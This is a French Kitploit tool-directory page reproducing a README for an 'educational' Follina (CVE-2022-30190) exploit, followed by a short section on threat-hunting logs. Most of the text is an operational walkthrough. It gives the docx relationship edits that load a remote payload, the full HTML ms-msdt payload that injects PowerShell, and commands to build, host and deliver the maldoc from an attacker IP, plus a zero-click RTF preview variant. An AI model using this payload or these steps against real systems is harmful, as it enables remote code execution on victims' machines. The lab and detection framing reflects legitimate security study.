Skip to content
KitploitKITPLOIT
OutilsBlog
Log in
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Follina_MSDT_CVE-2022-30190 — Exploit éducatif pour CVE-2022-30190 (Follina) démontrant l'exécution de code à distance MSDT via des documents Office malveillants, avec des conseils de détection et d'atténuation. | Kitploit
Outils/GitHubGitHub/muhammad-ali007/follina_msdt_cve-2022-30190
Outils DéfensifsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebAnalyse ForensiqueTests d'IntrusionCommandement et ContrôleApprentissage et ÉducationRéponse aux Incidents
Développement de Charges Utiles
Labs et Pratique
GitHubmuhammad-ali007/follina_msdt_cve-2022-30190

Follina_MSDT_CVE-2022-30190

Exploit éducatif pour CVE-2022-30190 (Follina) démontrant l'exécution de code à distance MSDT via des documents Office malveillants, avec des conseils de détection et d'atténuation.

Voir le dépôt
1212il y a 3 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Microsoft explique qu'« une vulnérabilité d'exécution de code à distance existe lorsque MSDT est appelé via le protocole URL depuis une application appelante telle que Word. Un attaquant qui exploite avec succès cette vulnérabilité peut exécuter du code arbitraire avec les privilèges de l'application appelante. L'attaquant peut alors installer des programmes, afficher, modifier ou supprimer des données, ou créer de nouveaux comptes dans le contexte autorisé par les droits de l'utilisateur ». (https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/)

Microsoft indique que « l'outil de diagnostic du support Microsoft (MSDT) collecte des informations à envoyer au support Microsoft. Ceux-ci analyseront ensuite ces informations et les utiliseront pour déterminer la résolution des éventuels problèmes que vous pourriez rencontrer sur votre ordinateur ». Dans cette optique, c'est essentiellement un moyen pour le support Microsoft de voir immédiatement ce qui ne va pas, puisqu'ils obtiennent toutes les informations nécessaires directement à la source.

Explication de l'exploit

Commençons par une mise en garde : pour nos besoins, nous chargerons notre payload via un document Word, en particulier au format .docx – c'est l'exploit original qui a été découvert dans la nature. Cependant, cette vulnérabilité s'est avérée fonctionner sur un certain nombre d'autres produits Office.

Deux aspects importants de cette vulnérabilité sont : 1 - Les fichiers docx spécifiques contiennent des références d'objets OLE (à l'origine, acronyme de Object Linking and Embedding), et parfois, ils prennent la forme de fichiers HTML hébergés ailleurs. 2 - MS-MSDT permet l'exécution de code.

En combinant les deux aspects ci-dessus, un schéma HTML MS-MSDT peut être utilisé pour exécuter du code PowerShell, et un fichier docx peut être utilisé pour le charger via la capacité de référence externe de Word.

Plus précisément, en creusant dans la structure du docx, le fichier "word/_rels/document.xml.rels" contient une balise XML avec un attribut Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" qui décrit une référence oleObject externe. Pour exploiter cette fonctionnalité du docx, nous pouvons modifier le contenu de cette balise pour pointer vers le payload que nous hébergeons, en changeant la valeur Target en http://<external_payload_server.com>/<payload.html> et la valeur TargetMode en "External".

Dans le fichier word/document.xml, il y a une balise XML qui commence par <o:OLEObject...> dans laquelle nous devons modifier la valeur Type en "Link" puis ajouter la paire clé-valeur UpdateMode="OnCall".

Il ne reste plus qu'à héberger le payload auquel le fichier Word se connectera et dont il recevra les instructions lors de l'ouverture du fichier. Cela se fait en créant un fichier HTML avec une structure similaire à celle-ci :

<!doctype html>
<html lang="en">
<body>
<script>
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA doit être répété >60 fois
  window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed IT_BrowseForFile=h$(IEX('calc.exe'))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe \"";
</script>
</body>
</html>

Dans le contenu ci-dessus du fichier HTML, vous remarquerez la commande ms-msdt:/id PCWDiagnostic /skip force /param, ainsi que les commutateurs de commande que vous pouvez utiliser pour définir la commande que vous souhaitez exécuter sur la machine cible. Vous pouvez ensuite mélanger et assortir le payload selon vos besoins.

Ainsi, nous avons maintenant un moyen de réaliser une exécution de code à distance sans toucher aux macros, et, comme nous le verrons plus tard, sans même ouvrir le document malveillant.

Focus sur l'exploit disponible publiquement (https://github.com/JohnHammond/msdt-follina) John Hammond a créé un outil pour automatiser le processus de création d'un document malveillant (maldoc) et, par conséquent, héberger le fichier HTML malveillant qui contient la commande dangereuse. L'outil est documenté dans le lien ci-dessus, et nous utiliserons une version forké de celui-ci pour mieux comprendre le concept de l'exploit abordé précédemment.

Ouvrez un terminal, clonez ce dépôt et placez-vous dans le répertoire de travail où le dépôt msdt-follina a été cloné.

root@host:~/Follina-MSDT# python3 follina.py

En lançant l'exploit, vous devriez déjà héberger le fichier, il est donc prêt à être « livré » à la machine victime. Tout en gardant le terminal d'origine ouvert, ouvrez un autre terminal et entrez la commande suivante pour héberger les fichiers sur un serveur :

root@host:~/Follina-MSDT# python -m http.server 3456

Sur la machine cible, ouvrez une invite de commandes et entrez la commande suivante :

C:\Users\user> cd Desktop
C:\Users\user\Desktop> curl http://[attack_machine_IP]:3456/follina.doc -o follina.docx

Cela télécharge le maldoc sur notre machine et, peu après, vous devriez voir le fichier Word nommé follina.docx apparaître sur le Bureau, prêt à être exécuté. Lorsque vous êtes prêt, ouvrez le fichier et observez ce qui se passe. Pour l'instant, laissons le maldoc et tout ce qu'il a engendré en cours d'exécution.

Implémentation « Zero Click »

Afin de reproduire l'implémentation « zero click » de cette vulnérabilité, il suffit de se rendre dans le fichier Word malveillant, d'ajouter un message sympathique (totalement optionnel), de l'enregistrer au format RTF (Rich Text Format), et le tour est joué. Cette implémentation suppose que la machine victime est en mode d'aperçu du volet de navigation ; sinon, elle reviendra à la fonctionnalité d'origine qui s'exécutera toujours lors de l'ouverture du fichier.

Ouvrez l'explorateur de fichiers et accédez au dossier Bureau. Vous y verrez le fichier apparemment honnête que nous avons créé et qui nécessite un clic ; cliquez dessus une fois en prenant soin de ne pas l'ouvrir réellement, et observez ce qui se passe.

Bien que le fichier n'ait pas été ouvert, l'exploit s'est exécuté de la même manière que précédemment dans cet exercice. Cela s'est produit grâce à deux fonctionnalités clés : 1 - La fonctionnalité de l'Explorateur de fichiers permettant de prévisualiser les fichiers avant de les ouvrir. 2 - Le RTF, qui permet aux fichiers de documents d'être prévisualisés dans l'Explorateur de fichiers avant d'être ouverts (entre autres usages).

La combinaison des deux, puis leur abus, aboutit à un vecteur d'attaque que nous venons de constater.

Détection et Atténuation Chasse aux menaces :

La machine Windows que nous avons utilisée pour étudier l'exploitation de la vulnérabilité a été préconfigurée avec la journalisation activée pour :

  • Audit de la création des processus
  • Audit de la ligne de commande des processus
  • Journalisation des blocs de scripts

Ces mécanismes d'audit ne sont pas configurés par défaut ; il est donc impératif de les activer dans vos propres environnements pour faciliter la détection des comportements suspects et pour conserver des données précieuses pour les enquêteurs judiciaires.

Au cours du processus précédent, nous avons identifié un certain nombre de créations de processus intéressantes lors de l'exploitation de la vulnérabilité. Ces créations de processus sont enregistrées dans les journaux de sécurité Windows, prêtes à être analysées via votre visualiseur préféré, ou transférées vers un collecteur de journaux centralisé pour être traitées puis utilisées ultérieurement.

Télécharger l’outil